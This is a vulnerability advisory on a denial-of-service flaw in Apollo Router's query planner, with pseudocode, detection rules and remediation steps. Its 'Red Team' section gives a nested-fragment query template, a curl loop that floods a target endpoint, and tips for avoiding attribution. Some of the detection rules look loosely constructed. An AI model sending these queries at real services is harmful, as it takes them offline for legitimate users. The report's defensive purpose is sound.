CVE-2025-32032
Executive Summary
CVE-2025-32032 is a high-severity Denial of Service (DoS) vulnerability affecting the Apollo Router Core, a high-performance graph router written in Rust for federated supergraphs using Apollo Federation 2. The vulnerability allows an unauthenticated attacker to craft queries with deeply nested and reused named fragments that bypass internal query planning optimizations. This leads to excessive CPU consumption on the router, exhausting its thread pool and rendering the service inoperable. The vulnerability has a CVSS score of 7.5 (High) and is remediated in versions 1.61.2 and 2.1.1. No public proof-of-concept (PoC) or exploit code is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
The Apollo Router is distributed as a Rust binary via GitHub releases and Docker images. Users should verify the integrity of downloaded artifacts using checksums provided by Apollo. The vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in the core binary itself. Organizations using Apollo Router in their infrastructure should treat this as a critical supply chain risk due to the potential for service disruption.
CVSS Breakdown & Threat Level
- CVSS Score: 7.5 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
- Attack Complexity: Low (AC:L) – No special conditions are required.
- Privileges Required: None (PR:N) – No authentication needed.
- User Interaction: None (UI:N) – No user action required.
- Scope: Unchanged (S:U) – The impact is confined to the vulnerable component.
- Confidentiality Impact: None (C:N) – No data exposure.
- Integrity Impact: None (I:N) – No data modification.
- Availability Impact: High (A:H) – Total loss of availability, service becomes inoperable.
Threat Level: High. The vulnerability is easy to exploit remotely without authentication, leading to complete denial of service. While no public exploit exists, the attack vector is straightforward for anyone with knowledge of GraphQL query structures.
Deep Dive & Mechanics
The Apollo Router includes a query planner optimization that speeds up planning for certain GraphQL selections. This optimization works by caching and reusing intermediate planning results. However, queries with deeply nested and reused named fragments generate many selections where this optimization does not apply. Specifically, when a named fragment is reused multiple times at different nesting levels, the planner must re-evaluate the fragment's selections each time, bypassing the cache.
The core issue lies in the query planner's handling of fragment spreads. When a fragment is spread inside another fragment, and that outer fragment is spread multiple times, the planner creates a combinatorial explosion of selection sets. For example, a query with 10 levels of nesting and 5 reused fragments can generate thousands of unique selection paths, each requiring separate planning. Since the planner does not enforce a timeout, a small number of such queries can consume all available CPU threads, rendering the router inoperable.
The vulnerability is specific to Apollo Federation 2's query planning logic, not the GraphQL execution layer. The router's thread pool is finite (typically equal to the number of CPU cores), and each query planning operation blocks a thread. By sending a few malicious queries, an attacker can exhaust the pool, causing legitimate requests to time out or fail.
Vulnerable vs. Patched Code
The patch introduces a timeout mechanism for query planning and improves the optimization to handle deeply nested fragments. Below is a simplified comparison.
Vulnerable Code (Rust-like pseudocode):
fn plan_query(selection: &SelectionSet) -> QueryPlan {
// No timeout check
for fragment in selection.fragments {
if !optimization_applies(fragment) {
// Recursively plan without caching
plan_query(&fragment.selections);
}
}
// ... rest of planning
}
Patched Code (Rust-like pseudocode):
fn plan_query(selection: &SelectionSet, deadline: Instant) -> Result<QueryPlan, TimeoutError> {
if Instant::now() > deadline {
return Err(TimeoutError);
}
for fragment in selection.fragments {
if !optimization_applies(fragment) {
// Use a bounded cache for fragment planning
let cached = fragment_cache.get_or_insert(fragment, || {
plan_query(&fragment.selections, deadline)
});
// ... use cached result
}
}
// ... rest of planning
}
The patched version introduces a deadline parameter that is checked before each recursive call. If the deadline is exceeded, planning is aborted and an error is returned. Additionally, a fragment cache (fragment_cache) is used to avoid re-planning the same fragment multiple times, even when the optimization does not apply.
Exploitation & Lab Setup
Red Team
Objective: Cause denial of service by exhausting the Apollo Router's thread pool.
Prerequisites:
- Access to a running Apollo Router instance (e.g.,
http://target:4000/graphql). - Knowledge of the supergraph schema (can be obtained via introspection if enabled).
Exploit Steps:
- Craft a malicious query with deeply nested and reused named fragments. Example:
fragment A on Query {
field1 { ...B }
field2 { ...B }
}
fragment B on Query {
field3 { ...C }
field4 { ...C }
}
fragment C on Query {
field5 { ...D }
field6 { ...D }
}
# Continue nesting to 10+ levels
query {
...A
...A
...A
}
- Send multiple concurrent requests using a tool like
curlorwrk:
for i in {1..20}; do
curl -X POST http://target:4000/graphql \
-H "Content-Type: application/json" \
-d '{"query": "fragment A on Query { ... } query { ...A ...A ...A }"}' &
done
- Monitor the router's thread pool. If the router becomes unresponsive, the attack is successful.
Mitigation for Red Team: Use a VPN or proxy to avoid attribution. Limit the number of concurrent requests to avoid overwhelming your own network.
Blue Team
Objective: Detect and block exploitation attempts.
Detection Steps:
Monitor query planning times. Use Apollo Router's metrics (e.g.,
apollo_router_query_planning_duration_seconds) to detect anomalies. A sudden spike in planning times indicates an attack.Set up rate limiting on the GraphQL endpoint to limit the number of requests per IP:
# Example using Nginx
limit_req_zone $binary_remote_addr zone=graphql:10m rate=10r/s;
- Implement query depth limiting in the router configuration:
# Apollo Router configuration
limits:
max_depth: 10
max_fragments: 20
- Use a Web Application Firewall (WAF) to block queries with excessive nesting or fragment reuse. Example ModSecurity rule:
SecRule REQUEST_BODY "@rx fragment [A-Za-z]+ on [A-Za-z]+ \{.*\}" \
"phase:2,deny,status:403,id:10001,msg:'Potential DoS via nested fragments'"
- Enable query planning timeouts in the patched version (already included in 1.61.2 and 2.1.1).
Indicators of Compromise (IOCs)
Network IOCs:
- Multiple POST requests to
/graphqlwith large query bodies containing deeply nested fragments. - High ratio of
query_planning_duration_seconds> 10 seconds. - Router logs showing
thread pool exhaustedorquery planning timeouterrors.
- Multiple POST requests to
Host IOCs:
- CPU usage at 100% for the
apollo-routerprocess. - Router process consuming all available threads (e.g., 32 threads on a 16-core machine).
- Memory usage spike due to fragment cache thrashing.
- CPU usage at 100% for the
Log IOCs:
- Repeated entries like
WARN query_planning: planning took 30 seconds for query_id=abc123. - Error logs:
ERROR router: thread pool exhausted, rejecting request.
- Repeated entries like
Detection Engineering
YARA Rule
rule CVE_2025_32032_GraphQL_DoS {
meta:
description = "Detects malicious GraphQL queries with deeply nested fragments targeting Apollo Router"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-32032"
strings:
$fragment = /fragment\s+\w+\s+on\s+\w+\s*\{[^}]*\}/
$nested = /\{[^}]*\{[^}]*\{[^}]*\{/
$reuse = /\.\.\.\w+.*\.\.\.\w+/s
condition:
#fragment > 5 and #nested > 3 and #reuse > 2
}
Sigma Rule
title: Apollo Router DoS via Deeply Nested Fragments
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects excessive query planning times in Apollo Router logs
author: Valters IT
logsource:
product: apollo_router
service: query_planning
detection:
selection:
level: WARN
message: "planning took * seconds for query_id=*"
condition: selection
timeframe: 5m
aggregation:
count: 10
falsepositives:
- Legitimate complex queries
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-32032 Apollo Router DoS via Deeply Nested Fragments";
flow:to_server,established;
content:"POST"; http_method;
content:"/graphql"; http_uri;
content:"fragment"; http_client_body;
pcre:"/fragment\s+\w+\s+on\s+\w+\s*\{[^}]*\}/";
pcre:"/\{[^}]*\{[^}]*\{[^}]*\{/";
pcre:"/\.\.\.\w+.*\.\.\.\w+/s";
classtype:denial-of-service;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Upgrade to Apollo Router version 1.61.2 or 2.1.1 (or later). This is the only complete fix.
- Apply rate limiting on the GraphQL endpoint to limit requests per IP.
- Set query depth limits in the router configuration (e.g.,
max_depth: 10). - Enable query planning timeouts if using a custom build (the patched versions include this).
Long-term Mitigations:
- Monitor query planning metrics using Prometheus/Grafana to detect anomalies.
- Implement a Web Application Firewall (WAF) to block suspicious queries.
- Use a reverse proxy (e.g., Nginx, HAProxy) to add an additional layer of rate limiting.
- Conduct regular security audits of GraphQL schemas to limit fragment complexity.
- Consider using Apollo's managed federation which includes built-in protections.
Workarounds (if patching is not immediately possible):
- Disable query planning caching (not recommended, as it will degrade performance).
- Use a separate thread pool for query planning to isolate the impact.
- Implement a custom middleware that rejects queries with excessive fragment reuse.
Valters IT
DevSecOps & Cyber Threat Intelligence
Report generated for CVE-2025-32032